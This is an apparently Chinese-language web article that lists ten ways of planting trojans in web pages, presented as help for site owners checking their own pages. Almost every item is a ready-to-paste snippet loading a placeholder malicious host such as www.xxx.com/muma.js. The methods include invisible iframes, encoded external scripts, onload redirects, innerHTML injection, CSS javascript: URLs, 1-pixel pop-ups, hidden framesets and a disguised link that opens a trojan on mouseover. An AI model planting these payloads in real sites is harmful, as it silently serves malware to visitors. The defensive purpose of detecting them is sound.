這篇文章指在告訴大家壞人經常使用的網頁掛馬方式,從而可以對自己的網頁進行防範,只要檢測這些經常被用於掛馬的地方,很容易找到木馬的所在。
一:框架掛馬
<iframe src=位址width=0 height=0></iframe>
其中地址處可以輸入惡意網站連結等
二:js檔案掛馬
只要是JS文件,都可以透過被惡意修改而被掛上惡意程式碼,一般被全站引用的JS程式碼最容易被掛木馬,檢測我們可以查看JS程式碼的左邊或下邊,壞人很喜歡將惡意程式碼與正常代碼間用很多空格或回車來進行隱藏,所以要多看看JS代碼頁面有沒有被故意拉長等。
三:js變形加密
<SCRIPT language=JScript.Encode src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任一後綴
四:body掛馬
<body onload=window.location='位址';></body>
五:隱蔽掛馬
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src=http://www.xxx.com/muma.htm/></iframe>';
六:css中掛馬
body {
background-image: url('javascript:document.write(<script src=http://www.XXX.net/muma.js></script>)')}
這種方式比較狠,也比較難發現。
七:JAJA掛馬
<SCRIPT language=javascript>
window.open (位址,,toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1);
</script>
八:圖片偽裝
<html>
<iframe src=網馬位址height=0 width=0></iframe>
<img src=圖片位址></center>
</html>
九:偽裝調用
<frameset rows=444,0 cols=*>
<frame src=開啟網頁framborder=no scrolling=auto noresize marginwidth=0margingheight=0>
<frame src=網馬位址frameborder=no scrolling=no noresize marginwidth=0margingheight=0>
</frameset>
十:高級欺騙
<a href=http://www.163.com(迷惑連接位址,顯示這個位址指向木馬位址) onMouseOver=www_163_com(); return true;> 頁面要顯示的內容</a>
<SCRIPT Language=JavaScript>
function www_163_com ()
{
var url=網馬位址;
open(url,NewWindow,toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10, top=10);
}
</SCRIPT>